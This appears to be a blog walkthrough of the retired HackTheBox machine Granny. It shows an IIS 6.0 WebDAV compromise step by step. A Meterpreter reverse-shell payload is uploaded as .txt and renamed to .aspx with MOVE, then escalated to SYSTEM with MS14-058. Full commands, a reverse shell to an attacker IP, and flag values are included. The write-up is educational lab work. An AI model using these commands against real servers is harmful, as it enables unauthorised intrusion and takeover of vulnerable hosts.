September 2, 2026
HackTheBox — Granny: WebDAV PUT/MOVE to SYSTEM
A walkthrough of the retired Granny box: an IIS 6.0 / Windows Server 2003 target where WebDAV lets us write files but not execute them —…

By Christian Jones
5 min read
A walkthrough of the retired Granny box: an IIS 6.0 / Windows Server 2003 target where WebDAV lets us write files but not execute them — until we rename them mid-flight.
Target: 10.129.5.185 OS: Windows Server 2003 (5.2 Build 3790, SP2) Web server: Microsoft IIS 6.0 Difficulty: Easy
The path in one line: WebDAV PUT is enabled but the upload directory has no execute permission, so we upload a payload as .txt, use WebDAV MOVE to rename it to .aspx, catch a reverse shell as NT AUTHORITY\NETWORK SERVICE, then use a kernel exploit to reach SYSTEM.
1. Setting the target variable
Rather than retype the IP on every command, I stored it once as a shell variable so $target expands everywhere:
sed -i 's/export target=.*/export target=10.129.5.185/' ~/.zshrc && unset target && source ~/.zshrcsed -i 's/export target=.*/export target=10.129.5.185/' ~/.zshrc && unset target && source ~/.zshrcsed -i edits .zshrc in place, swapping whatever export target= line was there for the new IP. unset target clears the value already live in the current shell, and source ~/.zshrc re-reads the file so the new value takes effect immediately without opening a new terminal. From here on, curl http://$target hits the box.
2. Port scan (nmap)
An initial nmap sweep is the first thing against any target — it tells us what's actually listening before we waste time guessing.
nmap -sC -sV -oN nmap.txt $targetnmap -sC -sV -oN nmap.txt $targetThe relevant result is a single web service:
80/tcp open http Microsoft IIS httpd 6.080/tcp open http Microsoft IIS httpd 6.0Port 80 running IIS 6.0 is the whole attack surface. IIS 6.0 shipped with Server 2003 and is long out of support, which immediately flags this as a box where WebDAV and legacy IIS bugs are in play. Everything after this points at the web server.
3. Templated vuln scan (nuclei)
With one web port, I ran nuclei to fingerprint known issues quickly:
nuclei -target $targetnuclei -target $targetThe findings that matter:
[CVE-2000-0114] http://10.129.5.185/_vti_bin/shtml.dll/_vti_rpc
[CVE-2000-0114] http://10.129.5.185/_vti_bin/shtml.exe/_vti_rpc
[put-method-enabled] [high] http://10.129.5.185/testing-put.txt
[iis-shortname-detect] http://10.129.5.185/*~1*/a.aspx
[waf-detect:modsecurity] / [waf-detect:securesphere][CVE-2000-0114] http://10.129.5.185/_vti_bin/shtml.dll/_vti_rpc
[CVE-2000-0114] http://10.129.5.185/_vti_bin/shtml.exe/_vti_rpc
[put-method-enabled] [high] http://10.129.5.185/testing-put.txt
[iis-shortname-detect] http://10.129.5.185/*~1*/a.aspx
[waf-detect:modsecurity] / [waf-detect:securesphere]Two of these define the route:
put-method-enabled(high) — the server accepts HTTPPUT. That means we can write files to the web root over HTTP, which is the loud part of a WebDAV misconfiguration.CVE-2000-0114/_vti_bin/shtml.dll— FrontPage Server Extensions and WebDAV are present, confirming thePUT/MOVEverb set is available, not justPUTin isolation.
The iis-shortname-detect and WAF hits are noise for this path. The takeaway: we can upload — the question becomes whether we can execute.
4. Researching the exploit
A quick search for "IIS 6.0 WebDAV PUT method exploit" lines up the classic technique:
- WebDAV lets you
PUTa file into a directory. - IIS applies write and execute permissions per directory. A directory that allows writing usually does not allow script execution — that separation is exactly the hardening admins are told to apply.
- The bypass: upload the payload with a harmless, non-executable extension (
.txt), then use the WebDAVMOVEverb to rename it to.aspx. Depending on the destination directory's handler config, the renamed file can then be executed by IIS.
So the plan is: confirm PUT works → confirm .aspx won't execute directly → upload as .txt and MOVE it.
5. Confirming PUT actually writes
Before throwing a real payload, I sanity-checked that PUT works at all with a throwaway HTML file containing nothing but a heading:
echo '<h1>hello</h1>' > hello.html
curl -T hello.html http://$target/hello.html
curl http://$target/hello.htmlecho '<h1>hello</h1>' > hello.html
curl -T hello.html http://$target/hello.html
curl http://$target/hello.htmlThe file uploaded and served back the <h1>hello</h1> content. This proves the write primitive is real — the server is genuinely storing files we send — so any later failure is about execution, not upload.
6. Hitting the execute wall (HTTP 403.1)
Next I generated an ASPX Meterpreter payload and tried to upload it directly as .aspx:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.68 LPORT=4444 -f aspx -o shell.aspx
curl -T shell.aspx http://$target/shell.aspx
curl http://$target/shell.aspxmsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.68 LPORT=4444 -f aspx -o shell.aspx
curl -T shell.aspx http://$target/shell.aspx
curl http://$target/shell.aspxRequesting it returned:
HTTP Error 403.1 - Forbidden: Execute access is denied.
You have attempted to execute a CGI, ISAPI, or other executable program
from a directory that does not allow programs to be executed.HTTP Error 403.1 - Forbidden: Execute access is denied.
You have attempted to execute a CGI, ISAPI, or other executable program
from a directory that does not allow programs to be executed.This is the key error. 403.1 is not a write failure — it's an execute failure. The file landed fine (matching the hello.html test), but the directory it lives in has no Execute permission in its IIS handler mapping, so IIS refuses to run it as a script. Uploading .aspx straight into a write-only directory is a dead end by design.
Payload-name note:
windows/x86/meterpreter/reverse_tcpdoes not exist — for 32-bit Windows the string is justwindows/meterpreter/reverse_tcp(nox86segment). Only the x64 payloads carry an arch prefix. Granny is 32-bit (Server 2003), so the plainwindows/meterpreter/...payload is correct, and the matching handler must use the identical string.
7. The bypass: upload as .txt, then MOVE to .aspx
The fix is to decouple writing from executing. Upload the payload under a non-executable name, then rename it in place with WebDAV MOVE into a directory that permits execution:
# 1. Copy the payload to a .txt name and PUT it (writing a .txt is allowed)
cp shell.aspx shell.txt
curl -T shell.txt http://$target/shell.txt
# 2. Use WebDAV MOVE to rename it to .aspx in an executable location
curl -X MOVE -H "Destination: http://$target/_vti_log/shell.aspx" \ http://$target/shell.txt# 1. Copy the payload to a .txt name and PUT it (writing a .txt is allowed)
cp shell.aspx shell.txt
curl -T shell.txt http://$target/shell.txt
# 2. Use WebDAV MOVE to rename it to .aspx in an executable location
curl -X MOVE -H "Destination: http://$target/_vti_log/shell.aspx" \ http://$target/shell.txtThe MOVE verb rewrites the file's name/location server-side. Because the file arrived as .txt it slipped past the write restriction, and once relocated with an .aspx extension into a directory whose handler mapping allows execution, IIS is willing to run it. (Several candidate directories from the nuclei/ffuf enumeration were tested until one executed rather than throwing 403.1 again.)
Set up the matching listener first:
msfconsole -q -x "use multi/handler; \
set payload windows/meterpreter/reverse_tcp; \
set LHOST 10.10.14.68; set LPORT 4444; run"msfconsole -q -x "use multi/handler; \
set payload windows/meterpreter/reverse_tcp; \
set LHOST 10.10.14.68; set LPORT 4444; run"Then request the moved .aspx. IIS executes it and the payload calls back:
[*] Sending stage (190534 bytes) to 10.129.5.185
[*] Meterpreter session 1 opened (10.10.14.68:4444 -> 10.129.5.185:1031)
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE[*] Sending stage (190534 bytes) to 10.129.5.185
[*] Meterpreter session 1 opened (10.10.14.68:4444 -> 10.129.5.185:1031)
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICEFoothold achieved as NT AUTHORITY\NETWORK SERVICE — the low-privilege account IIS worker processes run under.
8. Privilege escalation
NETWORK SERVICE can't read the Administrator desktop, so we need to escalate. Background the session and run the local exploit suggester against it:
meterpreter > background
msf > use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > set SESSION 1
msf post(local_exploit_suggester) > runmeterpreter > background
msf > use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > set SESSION 1
msf post(local_exploit_suggester) > runServer 2003 is ancient, so the suggester returns a long list of "appears vulnerable" kernel exploits:
1 ms10_015_kitrap0d Yes (could not be validated)
2 ms14_058_track_popup_menu Yes (appears vulnerable)
3 ms14_070_tcpip_ioctl Yes (appears vulnerable)
4 ms15_051_client_copy_image Yes (appears vulnerable)
6 ms16_075_reflection Yes (appears vulnerable)1 ms10_015_kitrap0d Yes (could not be validated)
2 ms14_058_track_popup_menu Yes (appears vulnerable)
3 ms14_070_tcpip_ioctl Yes (appears vulnerable)
4 ms15_051_client_copy_image Yes (appears vulnerable)
6 ms16_075_reflection Yes (appears vulnerable)MS14–058 is the reliable pick for 2003. Point it at the existing session and run:
msf > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058...) > set SESSION 1
msf exploit(ms14_058...) > runmsf > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058...) > set SESSION 1
msf exploit(ms14_058...) > runThe module prints a slightly misleading Exploit completed, but no session was created — but it elevated the existing session in place rather than spawning a new one. The proof is what happens when you try any other privesc afterwards:
[-] Exploit aborted due to failure: none: Session is already elevated[-] Exploit aborted due to failure: none: Session is already elevatedMetasploit is telling you the box is already rooted and refusing to fire redundant kernel exploits at it — which is also a safety feature, since blindly running more kernel exploits on 2003 risks a bugcheck (BSOD) that would drop the session.
9. Loot
With the session now elevated, locate and read both flags. Paths with spaces (Documents and Settings) must be quoted or the cat fails:
meterpreter > search -f user.txt
c:\Documents and Settings\Lakis\Desktop\user.txt
meterpreter > search -f root.txt
c:\Documents and Settings\Administrator\Desktop\root.txt
meterpreter > cat "c:\Documents and Settings\Lakis\Desktop\user.txt"
700c5dc163014e22b3e408f8703f67d1
meterpreter > cat "c:\Documents and Settings\Administrator\Desktop\root.txt"
aa4beed1c0584445ab463a6747bd06e9meterpreter > search -f user.txt
c:\Documents and Settings\Lakis\Desktop\user.txt
meterpreter > search -f root.txt
c:\Documents and Settings\Administrator\Desktop\root.txt
meterpreter > cat "c:\Documents and Settings\Lakis\Desktop\user.txt"
700c5dc163014e22b3e408f8703f67d1
meterpreter > cat "c:\Documents and Settings\Administrator\Desktop\root.txt"
aa4beed1c0584445ab463a6747bd06e9- user.txt:
700c5dc163014e22b3e408f8703f67d1 - root.txt:
aa4beed1c0584445ab463a6747bd06e9
Being able to read the Administrator desktop confirms the escalation worked.
Summary
The full chain, phase by phase:
- Recon (nmap): single web port, IIS 6.0 (Server 2003)
- Recon (nuclei):
PUTenabled + WebDAV/FrontPage present - Research: IIS 6 WebDAV PUT-then-MOVE bypass identified
- Test:
PUTofhello.htmlconfirms the write primitive - Blocker:
PUTofshell.aspxreturns 403.1 — write allowed, execute denied - Foothold:
PUTas.txt→MOVEto.aspx→ reverse shell asNETWORK SERVICE - Privesc:
local_exploit_suggester→ MS14-058 →SYSTEM - Loot:
catboth flags — user + root
Lessons / takeaways
- 403.1 vs 404 vs write-error are three different signals. 403.1 specifically means the file is there but the directory won't execute it — the cue to look for a MOVE-to-executable-dir bypass rather than assuming the upload failed.
- Write and Execute are per-directory in IIS. The whole box hinges on that separation.
- Payload arch matters: 32-bit Windows is
windows/meterpreter/reverse_tcp(nox86); the handler string must match the venom string exactly, or the stage never lands. - "Exploit completed, but no session was created" isn't always failure — check
getuid/sessionsand watch for "already elevated" before firing more exploits. On a fragile 2003 box, restraint here keeps your shell alive.
Granny is a retired HackTheBox machine. All testing was performed against HTB's authorised lab environment.